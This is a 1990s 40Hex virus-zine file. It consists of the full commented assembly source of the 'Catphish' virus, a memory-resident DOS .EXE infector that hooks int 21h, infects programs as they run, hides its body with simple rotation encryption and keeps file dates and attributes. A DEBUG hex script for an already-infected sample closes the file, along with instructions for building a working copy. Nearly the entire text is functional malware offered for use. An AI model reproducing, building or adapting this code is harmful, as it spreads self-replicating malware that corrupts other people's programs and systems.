home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_9.009 < prev    next >
Text File  |  1995-01-03  |  20KB  |  643 lines

  1. 40Hex Number 9 Volume 2 Issue 5                                       File 009
  2.  
  3. name    CATPHISH
  4.         title   
  5. code    segment  
  6.         assume  cs:code, ds:code, es:code
  7.         org     100h
  8.  
  9. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  10. ;                       FirstStrike presents:
  11. ;
  12. ;                        The Catphish Virus.    
  13. ;
  14. ;   The Catphish virus is a resident .EXE infector.
  15. ;                Size: 701 bytes (decimal).
  16. ;                No activation (bomb).
  17. ;                Saves date and file attributes.
  18. ;
  19. ;         If assembling, check_if_resident jump must be marked over
  20. ;           with nop after first execution (first execution will hang
  21. ;           system).
  22. ;
  23. ;         *** Source is made available to learn from, not to
  24. ;               change author's name and claim credit! ***
  25.  
  26. start:
  27.         call    setup                             ; Find "delta offset".
  28. setup:               
  29.         pop     bp                              
  30.         sub     bp, offset setup-100h
  31.         jmp     check_if_resident                 ; See note above about jmp!
  32.  
  33. pre_dec_em:
  34.         mov bx,offset infect_header-100h
  35.         add bx,bp
  36.         mov cx,endcrypt-infect_header
  37.  
  38. ror_em:
  39.         mov dl,byte ptr cs:[bx]
  40.         ror dl,1                                  ; Decrypt virus code
  41.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  42.         inc bx                                    
  43.         loop ror_em
  44.  
  45.         jmp check_if_resident
  46.  
  47. ;--------------------------------- Infect .EXE header -----------------------
  48. ;   The .EXE header modifying code below is my reworked version of 
  49. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  50.  
  51.  
  52. infect_header:
  53.           push bx
  54.           push dx
  55.           push ax
  56.  
  57.  
  58.  
  59.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  60.                ;  ^---make sure you don't destroy the file handle
  61.           mov     cl, 4                           ; Multiply by 16.  Won't
  62.           shl     bx, cl                          ; work with headers > 4096
  63.                                                   ; bytes.  Oh well!
  64.           sub     ax, bx                          ; Subtract header size from
  65.           sbb     dx, 0                           ; file size
  66.     ; Now DX:AX is loaded with file size minus header size
  67.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  68.           div     cx
  69.   
  70.   
  71.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  72.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  73.   
  74.   
  75.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  76.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  77.   
  78.           pop ax
  79.           pop dx
  80.  
  81.           add ax, endcode-start                   ; add virus size
  82.           cmp ax, endcode-start
  83.           jb fix_fault
  84.           jmp execont
  85.  
  86.  
  87. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  88. v_name   db '[Catphish]',0                        ; Virus name.
  89. v_author db 'FirstStrike',0                       ; Me.
  90. v_stuff  db 'Kraft!',0
  91.  
  92.  
  93. fix_fault:
  94.           add dx,1d
  95.   
  96. execont:
  97.           push ax      
  98.           mov cl, 9    
  99.           shr ax, cl   
  100.           ror dx, cl   
  101.           stc          
  102.                        
  103.           adc dx, ax   
  104.           pop ax       
  105.           and ah, 1    
  106.           
  107.   
  108.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  109.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  110.      
  111.           pop bx
  112.           retn                                    ; Leave subroutine
  113.  
  114. ;----------------------------------------------------------------------------
  115.  
  116.  
  117. check_if_resident:
  118.         push es
  119.         xor ax,ax 
  120.         mov es,ax
  121.  
  122.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  123.         jnz grab_da_vectors                       ;   is already resident
  124.         jmp exit_normal                           ;   by looking for a 40h
  125.                                                   ;   signature in the int 63h
  126.                                                   ;   offset section of 
  127.                                                   ;   interrupt table.
  128.  
  129. grab_da_vectors:
  130.  
  131.         mov ax,3521h                              ; Store original int 21h
  132.         int 21h                                   ;   vector pointer.
  133.         mov word ptr cs:[bp+dos_vector-100h],bx
  134.         mov word ptr cs:[bp+dos_vector+2-100h],es
  135.  
  136.  
  137.  
  138. load_high:
  139.         push ds
  140.  
  141. find_chain:                                       ; Load high routine that
  142.                                                   ;   uses the DOS internal
  143.      mov ah,52h                                   ;   table function to find
  144.      int 21h                                      ;   start of MCB and then
  145.                                                   ;   scales up chain to
  146.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  147.      assume ds:nothing                            ;   is long, but it is the 
  148.                                                   ;   only code that would
  149.      xor si,si                                    ;   work when an infected
  150.                                                   ;   .EXE was to be loaded 
  151. Middle_check:                                     ;   into memory.
  152.      
  153.      cmp byte ptr ds:[0],'M'
  154.      jne Check4last
  155.  
  156. add_one:
  157.      mov ax,ds
  158.      add ax,ds:[3]
  159.      inc ax
  160.  
  161.      mov ds,ax
  162.      jmp Middle_check
  163.  
  164. Check4last:
  165.      cmp byte ptr ds:[0],'Z'
  166.      jne Error
  167.      mov byte ptr ds:[0],'M'
  168.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  169.      jmp add_one
  170.  
  171. error:
  172.      mov byte ptr ds:[0],'Z'
  173.      mov word ptr ds:[1],008h
  174.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  175.  
  176.      push ds
  177.      pop ax
  178.      inc ax
  179.      push ax
  180.      pop es
  181.  
  182.  
  183.  
  184.  
  185.  
  186. move_virus_loop:
  187.         mov bx,offset start-100h                  ; Move virus into carved
  188.         add bx,bp                                 ;   out location in memory.
  189.         mov cx,endcode-start
  190.         push bp
  191.         mov bp,0000h
  192.  
  193. move_it:
  194.         mov dl, byte ptr cs:[bx]
  195.         mov byte ptr es:[bp],dl
  196.         inc bp
  197.         inc bx
  198.         loop move_it
  199.         pop bp
  200.  
  201.  
  202.  
  203. hook_vectors:
  204.  
  205.         mov ax,2563h                              ; Hook the int 21h vector
  206.         mov dx,0040h                              ;   which means it will
  207.         int 21h                                   ;   point to virus code in
  208.                                                   ;   memory.
  209.         mov ax,2521h
  210.         mov dx,offset virus_attack-100h
  211.         push es
  212.         pop ds
  213.         int 21h
  214.  
  215.  
  216.  
  217.  
  218.         pop ds
  219.  
  220.  
  221.  
  222. exit_normal:                                      ; Return control to 
  223.         pop es                                    ;   infected .EXE
  224.         mov ax, es                                ;   (Dark Angle code.)
  225.         add ax, 10h 
  226.         add word ptr cs:[bp+OrigCSIP+2-100h], ax 
  227.                                          
  228.         cli
  229.         add ax, word ptr cs:[bp+OrigSSSP+2-100h] 
  230.         mov ss, ax
  231.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  232.         sti
  233.  
  234.         xor ax,ax
  235.         xor bp,bp
  236.  
  237. endcrypt  label  byte        
  238.  
  239.         db 0eah                          
  240. OrigCSIP dd 0fff00000h
  241. OrigSSSP dd ?                    
  242.  
  243. exe_attrib dw ?
  244. date_stamp dw ?
  245. time_stamp dw ?
  246.  
  247.  
  248.  
  249. dos_vector dd ?                                   
  250.  
  251. buffer db 18h dup(?)                              ; .EXE header buffer.
  252.  
  253.  
  254.  
  255.  
  256. ;----------------------------------------------------------------------------
  257.  
  258.  
  259. virus_attack proc  far
  260.                assume cs:code,ds:nothing, es:nothing
  261.  
  262.         
  263.         cmp ax,4b00h                              ; Infect only on file
  264.         jz run_kill                               ;   executions.
  265.  
  266. leave_virus:
  267.         jmp dword ptr cs:[dos_vector-100h]                                
  268.  
  269.  
  270.  
  271. run_kill:
  272.         call infectexe
  273.         jmp leave_virus
  274.  
  275.  
  276.  
  277.  
  278.  
  279. infectexe:                                        ; Same old working horse
  280.         push ax                                   ;   routine that infects
  281.         push bx                                   ;   the selected file.
  282.         push cx
  283.         push es
  284.         push dx
  285.         push ds
  286.  
  287.         
  288.  
  289.         mov cx,64d
  290.         mov bx,dx
  291.  
  292. findname:
  293.         cmp byte ptr ds:[bx],'.'
  294.         jz o_k
  295.         inc bx
  296.         loop findname
  297.  
  298. pre_get_out:
  299.         jmp get_out
  300.  
  301. o_k:
  302.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  303.         jnz pre_get_out
  304.         cmp byte ptr ds:[bx+2],'X'
  305.         jnz pre_get_out
  306.         cmp byte ptr ds:[bx+3],'E'
  307.         jnz pre_get_out
  308.        
  309.  
  310.  
  311.  
  312. getexe:
  313.         mov ax,4300h
  314.         call dosit
  315.  
  316.         mov word ptr cs:[exe_attrib-100h],cx
  317.  
  318.         mov ax,4301h
  319.         xor cx,cx
  320.         call dosit
  321.  
  322. exe_kill:
  323.         mov ax,3d02h
  324.         call dosit
  325.         xchg bx,ax
  326.         
  327.         mov ax,5700h
  328.         call dosit
  329.  
  330.         mov word ptr cs:[time_stamp-100h],cx
  331.         mov word ptr cs:[date_stamp-100h],dx
  332.  
  333.  
  334.  
  335.         push cs
  336.         pop ds
  337.  
  338.         mov ah,3fh
  339.         mov cx,18h
  340.         mov dx,offset buffer-100h
  341.         call dosit
  342.  
  343.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  344.         jnz infectforsure                         ;   of 1993h in .EXE 
  345.         jmp close_it                              ;   header checksum 
  346.                                                   ;   position.
  347. infectforsure:
  348.         call move_f_ptrfar
  349.  
  350.         push ax
  351.         push dx
  352.  
  353.  
  354.         call store_header
  355.  
  356.         pop dx
  357.         pop ax
  358.  
  359.         call infect_header
  360.  
  361.  
  362.         push bx
  363.         push cx
  364.         push dx
  365.         
  366.  
  367.         mov bx,offset infect_header-100h
  368.         mov cx,(endcrypt)-(infect_header)
  369.  
  370. rol_em:                                           ; Encryption via 
  371.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  372.         rol dl,1                                    
  373.         mov byte ptr cs:[bx],dl
  374.         inc bx
  375.         loop rol_em
  376.  
  377.         pop dx
  378.         pop cx
  379.         pop bx
  380.  
  381.         mov ah,40h
  382.         mov cx,endcode-start
  383.         mov dx,offset start-100h
  384.         call dosit
  385.  
  386.         push bx
  387.         push cx
  388.         push dx
  389.  
  390.  
  391. pre_dec_em2:
  392.         mov bx,offset infect_header-100h
  393.         mov cx,endcrypt-infect_header
  394.  
  395. ror_em2:
  396.         mov dl,byte ptr cs:[bx]
  397.         ror dl,1                                  ; Decrypt virus code
  398.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  399.         inc bx                                    
  400.         loop ror_em2
  401.  
  402.         pop dx
  403.         pop cx
  404.         pop bx
  405.  
  406.  
  407.         mov word ptr cs:[buffer+12h-100h],1993h
  408.  
  409.  
  410.         call move_f_ptrclose
  411.  
  412.         mov ah,40h
  413.         mov cx,18h
  414.         mov dx,offset buffer-100h
  415.         call dosit
  416.  
  417.         mov ax,5701h
  418.         mov cx,word ptr cs:[time_stamp-100h]
  419.         mov dx,word ptr cs:[date_stamp-100h]
  420.         call dosit
  421.  
  422. close_it:
  423.  
  424.  
  425.         mov ah,3eh
  426.         call dosit
  427.  
  428. get_out:
  429.  
  430.  
  431.         pop ds
  432.         pop dx
  433.  
  434. set_attrib:
  435.         mov ax,4301h
  436.         mov cx,word ptr cs:[exe_attrib-100h]
  437.         call dosit
  438.  
  439.  
  440.         pop es
  441.         pop cx
  442.         pop bx
  443.         pop ax
  444.  
  445.         retn
  446.         
  447. ;---------------------------------- Call to DOS int 21h ---------------------
  448.  
  449. dosit:                                            ; DOS function call code.
  450.         pushf
  451.         call dword ptr cs:[dos_vector-100h]
  452.         retn
  453.  
  454. ;----------------------------------------------------------------------------
  455.                                                                             
  456.  
  457.  
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465. ;-------------------------------- Store Header -----------------------------
  466.  
  467. store_header:
  468.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  469.         mov  word ptr [OrigCSIP-100h], ax
  470.         mov  word ptr [OrigCSIP+2-100h], es
  471.   
  472.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  473.         mov  word ptr [OrigSSSP-100h], es
  474.         mov  word ptr [OrigSSSP+2-100h], ax
  475.  
  476.         retn
  477.  
  478. ;---------------------------------------------------------------------------
  479.  
  480.  
  481.  
  482.  
  483.  
  484.  
  485. ;---------------------------------- Set file pointer ------------------------
  486.  
  487. move_f_ptrfar:                                    ; Code to move file pointer.
  488.         mov ax,4202h
  489.         jmp short move_f
  490.  
  491. move_f_ptrclose:
  492.         mov ax,4200h
  493.  
  494. move_f:
  495.         xor dx,dx
  496.         xor cx,cx
  497.         call dosit
  498.         retn
  499.  
  500. ;----------------------------------------------------------------------------
  501.  
  502.  
  503. endcode         label       byte
  504.  
  505. endp
  506.  
  507. code ends
  508. end  start   
  509.                                
  510.  
  511.  
  512.  
  513. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  514.  
  515.               Below is a sample file that is already infected.
  516.             Just cut out code and run through debug. Next rename 
  517.             DUMMY.FIL to DUMMY.EXE and you have a working copy of
  518.             your very own Catphish virus.
  519.  
  520. N DUMMY.FIL
  521. E 0100 4D 5A F4 00 04 00 00 00 20 00 00 00 FF FF 23 00 
  522. E 0110 00 A0 93 19 07 00 23 00 3E 00 00 00 01 00 FB 30 
  523. E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  524. E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  525. E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  526. E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  527. E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  528. E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  529. E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  530. E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  531. E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  532. E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  533. E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  534. E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  535. E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  536. E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  537. E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  538. E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  539. E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  540. E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  541. E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  542. E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  543. E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  544. E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  545. E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  546. E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  547. E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  548. E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  549. E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  550. E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  551. E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  552. E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  553. E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  554. E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  555. E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  556. E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  557. E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  558. E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  559. E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  560. E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  561. E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  562. E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  563. E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  564. E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  565. E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  566. E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  567. E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  568. E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  569. E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  570. E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  571. E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  572. E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  573. E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  574. E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  575. E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  576. E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  577. E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  578. E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  579. E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  580. E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  581. E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  582. E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  583. E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  584. E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  585. E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  586. E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  587. E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  588. E 0530 90 90 B8 00 4C CD 21 E8 00 00 5D 81 ED 03 00 90 
  589. E 0540 90 90 BB 21 00 03 DD B9 41 01 2E 8A 17 D0 CA 2E 
  590. E 0550 88 17 43 E2 F5 E9 93 00 A6 A4 A0 17 3C FA 02 63 
  591. E 0560 08 A7 C7 56 87 07 B5 00 73 20 00 EF E3 13 2C 13 
  592. E 0570 02 47 17 02 47 07 02 8F 0C 0B 02 00 41 B0 B4 0A 
  593. E 0580 7B 04 7A 7B 04 E4 94 D7 96 21 86 E4 F2 40 90 C2 
  594. E 0590 EC DE C6 58 40 C2 DC C8 40 D8 CA E8 40 E6 D8 D2 
  595. E 05A0 E0 40 E8 D0 CA 40 88 DE CE E6 40 DE CC 40 AE C2 
  596. E 05B0 E4 42 00 B6 86 C2 E8 E0 D0 D2 E6 D0 BA 00 8C D2 
  597. E 05C0 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 96 E4 C2 CC E8 42 
  598. E 05D0 00 07 85 02 A0 63 12 A7 D1 A7 95 F3 26 A1 B0 01 
  599. E 05E0 C9 02 13 2C F2 02 47 EE 02 B6 87 0C 66 81 1D 81 
  600. E 05F0 4C 07 7C 19 02 80 EA 06 D3 03 00 71 42 6A 9B 42 
  601. E 0600 5C 13 3D E2 02 5C 19 0D E6 02 3C 69 A4 9B 42 4C 
  602. E 0610 1D BE FD 66 ED 01 7C 00 00 9A EA 16 19 B1 06 0C 
  603. E 0620 06 00 80 1D B1 D7 DD 01 7C 00 00 B4 EA 1A 8D 0C 
  604. E 0630 00 00 9A 07 5C 06 00 42 21 D7 C3 8D 0C 00 00 B4 
  605. E 0640 8F 0C 02 00 10 00 8F 0C 06 00 42 00 3C B0 80 A0 
  606. E 0650 0E 77 00 00 06 BB 73 7B 04 AA 7B 00 00 5C 15 2E 
  607. E 0660 4C 11 AC 00 8A 86 C5 EB BA 71 C6 4A 75 80 00 9B 
  608. E 0670 42 71 42 4A 75 1B 02 0C 3E 9B 42 3E 0E 19 81 0A 
  609. E 0680 20 00 5C 02 0D CA 02 F5 5C 06 0D D2 02 1D A1 5C 
  610. E 0690 17 4D CE 02 F7 66 81 66 DB EA 00 01 10 00 00 01 
  611. E 06A0 00 00 20 00 21 1A A5 9D 9E 10 1C 01 4D 5A F4 00 
  612. E 06B0 04 00 00 00 20 00 00 00 FF FF 23 00 00 A0 00 00 
  613. E 06C0 07 00 23 00 3D 00 4B 74 05 2E FF 2E 71 01 E8 02 
  614. E 06D0 00 EB F6 50 53 51 06 52 1E B9 40 00 8B DA 80 3F 
  615. E 06E0 2E 74 06 43 E2 F8 E9 C5 00 80 7F 01 45 75 F7 80 
  616. E 06F0 7F 02 58 75 F1 80 7F 03 45 75 EB B8 00 43 E8 BF 
  617. E 0700 00 2E 89 0E 6B 01 B8 01 43 33 C9 E8 B2 00 B8 02 
  618. E 0710 3D E8 AC 00 93 B8 00 57 E8 A5 00 2E 89 0E 6F 01 
  619. E 0720 2E 89 16 6D 01 0E 1F B4 3F B9 18 00 BA 75 01 E8 
  620. E 0730 8E 00 2E 81 3E 87 01 93 19 75 03 EB 6C 90 E8 A3 
  621. E 0740 00 50 52 E8 81 00 5A 58 E8 0D FE 53 51 52 BB 21 
  622. E 0750 00 B9 41 01 2E 8A 17 D0 C2 2E 88 17 43 E2 F5 5A 
  623. E 0760 59 5B B4 40 B9 BD 02 BA 00 00 E8 53 00 53 51 52 
  624. E 0770 BB 21 00 B9 41 01 2E 8A 17 D0 CA 2E 88 17 43 E2 
  625. E 0780 F5 5A 59 5B 2E C7 06 87 01 93 19 E8 5B 00 B4 40 
  626. E 0790 B9 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F 
  627. E 07A0 01 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A 
  628. E 07B0 B8 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 
  629. E 07C0 9C 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 
  630. E 07D0 2E 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E 
  631. E 07E0 A3 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 
  632. E 07F0 E8 CD FF C3 
  633. RCX
  634. 06F4
  635. W
  636. Q
  637.  
  638.  
  639.  
  640.                              -+- FirstStrike -+-
  641.  
  642. Downloaded From P-80 International Information Systems 304-744-2253
  643.